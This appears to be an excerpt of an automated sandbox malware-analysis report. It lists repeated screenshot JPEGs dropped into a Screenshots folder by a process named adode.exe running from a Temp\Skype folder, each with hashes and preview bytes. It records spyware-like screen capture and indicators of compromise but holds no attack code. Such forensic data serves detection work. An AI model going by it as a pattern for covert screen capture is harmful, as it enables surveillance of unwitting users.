Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240421_102119.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240421_170811.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240426_064320.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240430_190622.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240501_003356.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240501_051525.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152824
Entropy (8bit):	7.924856317096302
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBF5:7HM9tZj6BvNuHwpLyaG2T
MD5:	1B503203744530DCA29991A7C7EF553F
SHA1:	B97C775BE32BAD9C01ED1E8BDCE74AABF8796680
SHA-256:	BF742FFB1536DD87D95A21E660B4D8C6C54A326F9DC30A56901823AA1394850D
SHA-512:	D04B58BFC66AB5CEE441EECF77B771605BF35C7762FE0675876BBBB2D1AEA5906D1918280883F0A3BC5D695BFBAD1A85E9859762436FADCFA654EE66A0A5F24A
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240501_114829.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240501_181126.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240501_233232.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240504_081105.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240504_143427.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240504_195613.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240504_223332.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240505_004116.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240505_050223.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144993
Entropy (8bit):	7.928709223047505
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodHKcOFUyavFsYBF5:WpgzOCtbRJPBBcFJByaG2T
MD5:	4C5D28E479DF6BB249EB98C5A933E270
SHA1:	A110D1E5041C6402F2EB74F86CDC95372FFF8593
SHA-256:	8F03FCAE75E0F7A246DDF25AB55E88E203D8B64EC3A7BC520222C9CAC9B2E09D
SHA-512:	B8AAC54FAFE965BE4D16D1AD895A312DBF9CE94A5D9E7C50D6EFF551205825C7218C36CEE559E8344F3DC56D3F7BF9F8AD9F9FDA450F6D0629150645199C1661
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240506_041310.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151710
Entropy (8bit):	7.927635112255644
Encrypted:	false
SSDEEP:	3072:iRkmvxMbTQANj65DvLhtgy9Iwj/V7HsUOFUyavFsYBF5:9bTQANj6BvNuHwpLyaG2T
MD5:	19FC6D036EBBAC2292505C0BB00461A8
SHA1:	C5C34DFD9C8B0E64FC6EB072554E65FA5A16B8E0
SHA-256:	E43716DFE67483195196CB7C371F64CD747730C5820BFDC56DAFC4F465236970
SHA-512:	6D103FECA58F70ECBF6FC6BDDF5E5B53B13CE457BA0573C8C19E9BAD87AF99DA73F380992E8CAC61FC4F9C8D3663D9250A39FE484EA275A321E8F2462F0920F1
Malicious:	false
